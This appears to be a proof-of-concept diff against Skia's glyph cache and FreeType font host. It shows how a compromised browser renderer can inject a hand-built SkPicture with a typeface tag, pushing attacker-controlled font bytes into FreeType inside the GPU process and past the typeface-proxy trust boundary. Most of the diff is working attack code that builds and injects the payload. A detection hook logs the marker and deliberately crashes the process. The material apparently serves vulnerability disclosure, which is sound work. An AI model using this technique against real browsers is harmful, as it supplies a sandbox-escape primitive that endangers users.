diff --git a/src/core/SkStrike.cpp b/src/core/SkStrike.cpp index 22d63a479af..bbc43b830ee 100644 --- a/src/core/SkStrike.cpp +++ b/src/core/SkStrike.cpp @@ -24,6 +24,13 @@ #include "src/core/SkWriteBuffer.h" #include "src/text/StrikeForGPU.h" +// === POC: renderer-side payload construction (compromised-renderer simulation) === +#include "include/core/SkData.h" +#include "include/core/SkStream.h" +#include "src/core/SkPicturePriv.h" +#include +// ================================================================================ + #include #include #include @@ -83,6 +90,81 @@ void SkStrike::unlock() { this->updateMemoryUsage(memoryIncrease); } +// ============================================================================= +// POC: COMPROMISED-RENDERER SIMULATION +// ----------------------------------------------------------------------------- +// SkStrike::FlattenGlyphsByType is invoked ONLY from the renderer-side +// RemoteStrike::writePendingGlyphs (SkChromeRemoteGlyphCache.cpp). It writes +// the per-strike glyph payload into the OOP-raster font transfer buffer that +// the renderer ships to the GPU process via glRasterCHROMIUM. +// +// A real attacker who has compromised the renderer can write arbitrary bytes +// into this buffer. We simulate that by appending one synthetic "drawable" +// glyph whose drawable payload is a hand-crafted SkPicture stream containing +// SK_PICT_TYPEFACE_TAG with an embedded SkFontDescriptor that names the +// FreeType factory ('free') and carries an attacker-controlled font blob. +// +// On the GPU side, SkStrikeClient::readStrikeData -> mergeFromBuffer -> +// addDrawableFromBuffer -> SkPictureBackedGlyphDrawable::MakeFromBuffer calls +// SkPicture::MakeFromData with SkDeserialProcs that leave fTypefaceStreamProc +// == nullptr, so SkPictureData::parseStreamTag(SK_PICT_TYPEFACE_TAG) falls +// through to SkTypeface::MakeDeserialize, which dispatches the attacker blob +// into SkTypeface_FreeType::MakeFromStream -> FT_Open_Face inside the GPU +// process. This bypasses the SkTypefaceProxy boundary that is supposed to keep +// raw font-file bytes out of the GPU process. +// ============================================================================= +static sk_sp PocBuildMaliciousGlyphPicture() { + // Recognisable marker so the GPU-side observability hook can prove that + // these renderer-supplied bytes reached SkTypeface_FreeType::MakeFromStream. + // (A real exploit would put a malformed TTF/OTF here to attack FreeType.) + static const char kPocFontBlob[] = + "POC_FONT_BYTES_FROM_RENDERER\x00" + "These bytes were authored in the renderer and are about to be fed " + "to FT_Open_Face() inside the GPU process via the glyph-drawable " + "SkPicture SK_PICT_TYPEFACE_TAG path (CWE-501)."; + constexpr size_t kPocFontBlobLen = sizeof(kPocFontBlob) - 1; + + // SkFontDescriptor field IDs (copied from SkFontDescriptor.cpp). + constexpr uint8_t kFactoryId = 0xFC; + constexpr uint8_t kSentinel = 0xFF; + // SkTypeface_FreeType::FactoryId == SkSetFourByteTag('f','r','e','e'). + constexpr uint32_t kFreeTypeFactoryId = SkSetFourByteTag('f', 'r', 'e', 'e'); + + // SkPictureData stream tags (copied from SkPictureData.h). + constexpr uint32_t kTypefaceTag = SkSetFourByteTag('t', 'p', 'f', 'c'); + constexpr uint32_t kReaderTag = SkSetFourByteTag('r', 'e', 'a', 'd'); + constexpr uint32_t kEofTag = SkSetFourByteTag('e', 'o', 'f', ' '); + + SkDynamicMemoryWStream s; + + // ---- SkPictInfo header ----------------------------------------------------- + s.write("skiapict", 8); // magic + s.write32(SkPicturePriv::kCurrent_Version); // version + s.writeScalar(0); s.writeScalar(0); // cullRect L,T + s.writeScalar(1); s.writeScalar(1); // cullRect R,B + s.write8(1); // kPictureData_TrailingStreamByteAfterPictInfo + + // ---- SK_PICT_TYPEFACE_TAG ------------------------------------------------- + s.write32(kTypefaceTag); + s.write32(1); // one typeface follows + // SkFontDescriptor::Deserialize layout: + s.writePackedUInt(0); // styleBits + s.writePackedUInt(kFactoryId); + s.writePackedUInt(kFreeTypeFactoryId); + s.writePackedUInt(kSentinel); + s.writePackedUInt(kPocFontBlobLen); // embedded font-stream length + s.write(kPocFontBlob, kPocFontBlobLen); + + // ---- SK_PICT_READER_TAG (empty op-data, keeps the picture valid) ---------- + s.write32(kReaderTag); + s.write32(0); + + // ---- SK_PICT_EOF_TAG ------------------------------------------------------ + s.write32(kEofTag); + + return s.detachAsData(); +} + void SkStrike::FlattenGlyphsByType(SkWriteBuffer& buffer, SkSpan images, @@ -106,12 +188,32 @@ SkStrike::FlattenGlyphsByType(SkWriteBuffer& buffer, glyph.flattenPath(buffer); } - buffer.writeInt(drawables.size()); + // === POC INJECTION ========================================================= + // Append one synthetic drawable glyph carrying the malicious SkPicture. + // This is the only renderer-side modification; everything downstream is + // unmodified production GPU-process code. + static bool s_logged = false; + if (!s_logged) { + s_logged = true; + SkDebugf("[POC][renderer pid=%d] injecting SK_PICT_TYPEFACE_TAG glyph " + "drawable into OOP-raster font buffer\n", (int)getpid()); + } + sk_sp pocPicture = PocBuildMaliciousGlyphPicture(); + buffer.writeInt(drawables.size() + 1); for (SkGlyph& glyph : drawables) { SkASSERT(SkMask::IsValidFormat(glyph.maskFormat())); glyph.flattenMetrics(buffer); glyph.flattenDrawable(buffer); } + // Synthetic glyph metrics (matches SkGlyph::flattenMetrics layout): + buffer.writeUInt(0xFFFE); // packed glyph ID + buffer.writePoint({0, 0}); // advance + buffer.writeUInt((1u << 16) | 1u); // width=1,height=1 + buffer.writeUInt(0); // left=0,top=0 + buffer.writeUInt(static_cast(SkMask::kA8_Format));// mask format + // Drawable payload (matches SkPictureBackedGlyphDrawable::FlattenDrawable): + buffer.writeByteArray(pocPicture->data(), pocPicture->size()); + // =========================================================================== } bool SkStrike::mergeFromBuffer(SkReadBuffer& buffer) { diff --git a/src/ports/SkFontHost_FreeType.cpp b/src/ports/SkFontHost_FreeType.cpp index 25c31f4dd09..6ba9f564113 100644 --- a/src/ports/SkFontHost_FreeType.cpp +++ b/src/ports/SkFontHost_FreeType.cpp @@ -47,6 +47,7 @@ #include #include #include +#include // POC: getpid() #include #include @@ -2046,6 +2047,39 @@ void SkTypeface_FreeTypeStream::onGetFontDescriptor(SkFontDescriptor* desc, bool sk_sp SkTypeface_FreeType::MakeFromStream(std::unique_ptr stream, const SkFontArguments& args) { + // === POC OBSERVABILITY (NOT PART OF THE EXPLOIT) =========================== + // This is a CWE-501 trust-boundary violation: renderer-authored font bytes + // reach FreeType inside the GPU process via the glyph-drawable SkPicture + // SK_PICT_TYPEFACE_TAG path. There is no production check that gates this; + // the hook below merely makes the violation observable without requiring a + // FreeType 0-day. It does NOT create the path -- it only reports that the + // path was taken with the renderer's marker bytes. + if (stream && stream->hasLength()) { + static const char kPocMarker[] = "POC_FONT_BYTES_FROM_RENDERER"; + const size_t kPocMarkerLen = sizeof(kPocMarker) - 1; + if (stream->getLength() >= kPocMarkerLen) { + char head[sizeof(kPocMarker)] = {}; + size_t n = stream->peek(head, kPocMarkerLen); + if (n == kPocMarkerLen && 0 == memcmp(head, kPocMarker, kPocMarkerLen)) { + SkDebugf( + "\n" + "================================================================\n" + "[POC][pid=%d] TRUST-BOUNDARY VIOLATION CONFIRMED\n" + " SkTypeface_FreeType::MakeFromStream() received %zu bytes that\n" + " were authored by the (compromised) renderer and shipped via\n" + " glRasterCHROMIUM -> SkStrikeClient::readStrikeData ->\n" + " SkPictureBackedGlyphDrawable::MakeFromBuffer ->\n" + " SK_PICT_TYPEFACE_TAG -> SkTypeface::MakeDeserialize.\n" + " Next call would be FT_Open_Face() on these attacker bytes\n" + " inside the GPU process, bypassing the SkTypefaceProxy model.\n" + "================================================================\n", + (int)getpid(), stream->getLength()); + // Deliberate crash so the GPU-process stack trace is captured. + SK_ABORT("POC: renderer font bytes reached GPU-process FreeType"); + } + } + } + // =========================================================================== static SkFontScanner_FreeType scanner; bool isFixedPitch; SkFontStyle style;